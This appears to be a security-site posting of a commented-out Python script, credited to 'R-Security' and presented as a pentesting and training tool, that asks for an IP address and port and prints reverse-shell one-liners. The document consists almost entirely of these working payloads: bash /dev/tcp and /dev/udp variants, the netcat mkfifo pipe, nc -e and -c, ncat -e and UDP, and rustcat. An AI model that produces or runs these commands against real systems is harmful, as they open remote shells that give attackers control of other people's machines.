Bash / Netcat Reverse Shells

This script is a great tool for pentesters needing to create reverse shells using either bash or netcat.


SHA-256 | 6fa1de2937ad42cc30d32f1a0d8144e64791a2c154a8baa4dad7d30634eb9f38

# Author : Raed Ahsan
# Creation Date : 02/07/2022
# Title : Reverse_shells offline creation.
# R-Security training files

"""

I have merged two or more kinds of rev.shells in this single file
example = bash and netcat. Please do uncomment the code for each category
you intend to use.
Thank you
R-Security

"""

##########################################################
################# Bash category ##########################
##########################################################



# print("1 - Bash-i\n2 - Bash 196\n3 - Bash readline\n4 - Bash5\n5 - Bash udp")
# selection = int(input("Enter number:[1 to 5]: "))
# ip = ""
# port = 0

# def bash_i():
# global ip, port
# ip = input("Enter IP address: ")
# port = input("Enter Port: ")
# print("[*] Reverse shell created: sh -i >& /dev/tcp/{}/{} 0>&1".format(ip, port))

# def bash_196():
# global ip, port
# ip = input("Enter IP address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell created: 0<&196;exec 196<>/dev/tcp/{}/{}; sh <&196 >&196 2>&196".format(ip, port))

# def bash_readline():
# ip = input("Enter IP address: ")
# port = input("Enter Port: ")
# print("[*] Reverse shell created: exec 5<>/dev/tcp/{}/{};cat <&5 | while read line; do $line 2>&5 >&5; done".format(ip, port))

# def bash_5():
# global ip, port
# ip = input("Enter IP address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell created: sh -i 5<> /dev/tcp/{}/{} 0<&5 1>&5 2>&5".format(ip, port))

# def bash_udp():
# global ip, port
# ip = input("Enter IP address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell created: sh -i >& /dev/udp/{}/{} 0>&1".format(ip, port))

# # Finalizing selection of the user;

# if [1,2,3,4,5]:
# if selection == 1:
# bash_i()
# if selection == 2:
# bash_196()
# if selection == 3:
# bash_readline()
# if selection == 4:
# bash_5()
# if selection == 5:
# bash_udp()

#################################################################
############### Netcat Category #################################
#################################################################

# print("1 - nc mkfifo\n2 - nc-e\n3 - nc.exe -e\n4 - nc-c\n5 - ncat-e\n6 - ncat.exe-e\n7 - ncat udp\n8 - rustcat")
# selection = int(input("Enter rev.shell number[1-5]: "))
# ip = ""
# port = 0

# def nc_mkfifo():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {} {} >/tmp/f".format(ip, port))

# def nc_e():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : nc -e sh {} {} ".format(ip, port))

# def nc_exe_e():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : nc.exe -e sh {} {} ".format(ip, port))

# def nc_c():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : nc -c sh {} {}".format(ip, port))

# def ncat_e():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : ncat {} {} -e sh".format(ip, port))

# def ncat_exe_e():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : ncat.exe {} {} -e sh".format(ip, port))

# def ncat_udp():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|ncat -u {} {} >/tmp/f".format(ip, port))

# def rustcat():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : rcat {} {} -r sh".format(ip, port))

# if [1,2,3,4,5,6,7,8]:
# if selection == 1:
# nc_mkfifo()
# if selection == 2:
# nc_e()
# if selection == 3:
# nc_exe_e()
# if selection == 4:
# nc_c()
# if selection == 5:
# ncat_e()
# if selection == 6:
# ncat_exe_e()
# if selection == 7:
# ncat_udp()
# if selection == 8:
# rustcat()

Related Posts